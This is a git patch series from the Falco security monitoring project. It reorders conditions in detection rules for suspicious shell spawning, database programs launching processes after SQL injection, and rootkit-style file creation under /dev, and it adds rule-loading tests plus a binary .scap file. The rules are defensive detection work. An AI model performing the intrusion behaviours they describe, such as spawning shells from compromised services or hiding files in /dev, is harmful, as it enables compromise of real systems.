 rules/falco_rules.yaml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml
index 93f04b27..272c1e21 100644
--- a/rules/falco_rules.yaml
+++ b/rules/falco_rules.yaml
@@ -224,7 +224,7 @@
 
 - rule: db_program_spawned_process
   desc: a database-server related program spawned a new process other than itself. This shouldn\'t occur and is a follow on from some SQL injection attacks.
-  condition: proc.pname in (db_server_binaries) and not proc.name in (db_server_binaries) and spawned_process
+  condition: proc.pname in (db_server_binaries) and spawned_process and not proc.name in (db_server_binaries)
   output: "Database-related program spawned process other than itself (user=%user.name program=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
@@ -264,7 +264,7 @@
 
 - rule: run_shell_untrusted
   desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries.
-  condition: not container and proc.name = bash and spawned_process and proc.pname exists and not proc.pname in (cron_binaries, bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent)
+  condition: spawned_process and not container and proc.name = bash and proc.pname exists and not proc.pname in (cron_binaries, bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent)
   output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
@@ -281,7 +281,7 @@
 
 - rule: run_shell_in_container
   desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded.
-  condition: container and proc.name = bash and spawned_process and proc.pname exists and not proc.pname in (sh, bash, docker)
+  condition: spawned_process and container and proc.name = bash and proc.pname exists and not proc.pname in (sh, bash, docker)
   output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
   priority: WARNING
 
@@ -317,7 +317,7 @@
 # (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
 - rule: create_files_below_dev
   desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
-  condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty)
+  condition: (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT)) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty)
   output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 

From 7b68fc269202199480bba34c94f3d8dae7a4c7d4 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Wed, 13 Jul 2016 18:42:34 -0700
Subject: [PATCH 12/17] Add tests for event type rule identification

Add tests that verify that the event type identification functionality
is working. Notable changes:

 - Modify falco_test.py to additionally check for warnings when loading
   any set of rules and verify that the event types for each rule match
   expected values. This is controlled by the new multiplex fields
   "rules_warning" and "rules_events".

 - Instead of starting with an empty falco_tests.yaml from scratch from
   the downloaded trace files, use a checked-in version which defines
   two tests:
     - Loading the checked-in falco_rules.yaml and verify that no rules
       have warnings.
     - A sample falco_rules_warnings.yaml that has ~30 different
       mutations of rule filtering expressions. The test verifies for each
       rule whether or not the rule should result in a warning and what the
       extracted event types are.
   The generated tests from the trace files are appended to this file.

- Add an empty .scap file to use with the above tests.
---
 test/empty.scap                | Bin 0 -> 129696 bytes
 test/falco_rules_warnings.yaml | 186 +++++++++++++++++++++++++++++++++
 test/falco_test.py             |  89 +++++++++++++---
 test/falco_tests.yaml.in       |  62 +++++++++++
 test/run_regression_tests.sh   |   2 +-
 5 files changed, 326 insertions(+), 13 deletions(-)
 create mode 100644 test/empty.scap
 create mode 100644 test/falco_rules_warnings.yaml
 create mode 100644 test/falco_tests.yaml.in

diff --git a/test/empty.scap b/test/empty.scap
new file mode 100644
index 0000000000000000000000000000000000000000..9e0651e36a133a7ba8a56921ed5fb6afe0826f1a
GIT binary patch
literal 129696
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
